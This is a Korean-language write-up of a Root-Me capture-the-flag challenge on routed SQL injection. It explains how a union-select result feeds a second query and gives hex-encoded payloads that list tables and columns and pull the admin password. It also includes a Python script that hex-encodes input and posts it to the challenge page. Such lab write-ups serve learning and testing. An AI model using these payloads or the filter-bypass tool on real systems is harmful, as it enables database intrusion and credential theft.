Home과 Search 페이지가 존재한다.
Search 페이지에서 검색창에 아이디를 입력하면 해당 아이디에 대한 number id 값과 email값을 출력해준다.
제공해준 문서 - Routed sql injection를 보면 Routed SQL Injection에 대해서 이해할 수 있다.
간단히 하나의 쿼리의 결과값으로 다른 쿼리를 조회하는 로직이며, 우리는 1번째 쿼리에 Injection할 수 있는 상황이라고 가정하자.
union select
가 인젝션 가능할 때, 우리는 1번째 쿼리의 결과값을 조작할 수 있으므로, 이 결과값이 사용되는 2번째 쿼리의 결과값을 제어할 수 있는 것이다.
문제의 구조는 다음과 같다.
우리가 검색할 때 사용한 단어가
select num_id from chall where id = [입력한 값]
이 첫 번째 쿼리에 사용되고,
여기의 결과값 num_id
가
select email from chall where num_id = [1번째 쿼리 결과]
이와 같이 2번째 쿼리에 사용된다.
우선, 검색창에서 입력되는 1번째 쿼리에 대입되는 값은 많은 필터가 적용되어있다.
그래서 다음과 같이 2번째 쿼리에 대입될 값을 평문으로 입력하면 필터에 걸리게 된다.
' union select [' or 1=1 -- ]
하지만, union select의 결과가 2번째 쿼리에 대입된다는 사실을 생각해보자.
우리가 0x헥스값...
의 형태로 인젝션 시켰을 때 그 값이 문자열로 반환되서 2번째 쿼리에 사용되고, 결과적으로 우리는 필터를 우회하여 쿼리를 입력할 수 있게 된다.
최종적으로 다음과 같은 페이로드가 사용된다.
테이블 이름 얻기
' union select 1, table_name from information_schema.tables where table_schema = database() limit 0, 1 --
속성명 얻기
' union select 1, column_name from information_schema.columns where table_name='users' limit 0,1 --
패스워드 얻기
' union select 1, password from users where login = 'admin' --
매번 헥스값 변환하기가 귀찮았다.
그래서 다음과 같이 파이썬으로 키보드 입력을 헥스값으로 변환시켜 전송하여 실시간으로 확인할 수 있는 도구를 만들어 풀었다.
import requests
url = 'http://challenge01.root-me.org/web-serveur/ch49/index.php?action=search'
qr = '\' union select {yours} -- '
while True:
yours = raw_input('[['+qr+']]'+'\nyours query is will be converted to hex\nquery> ')
payload = qr.replace('{yours}', '0x'+yours.encode('hex'))
print 'query was sent :'
print payload
datas = {'login': payload}
res = requests.post(url, data = datas)
if res.text.find('Results') != -1:
print '############################################'
print res.text.split('Results</legend>')[1].split('</fieldset>')[0]
print '############################################'
else:
print res.text
print '\n\n\n'
print 'Not bad...'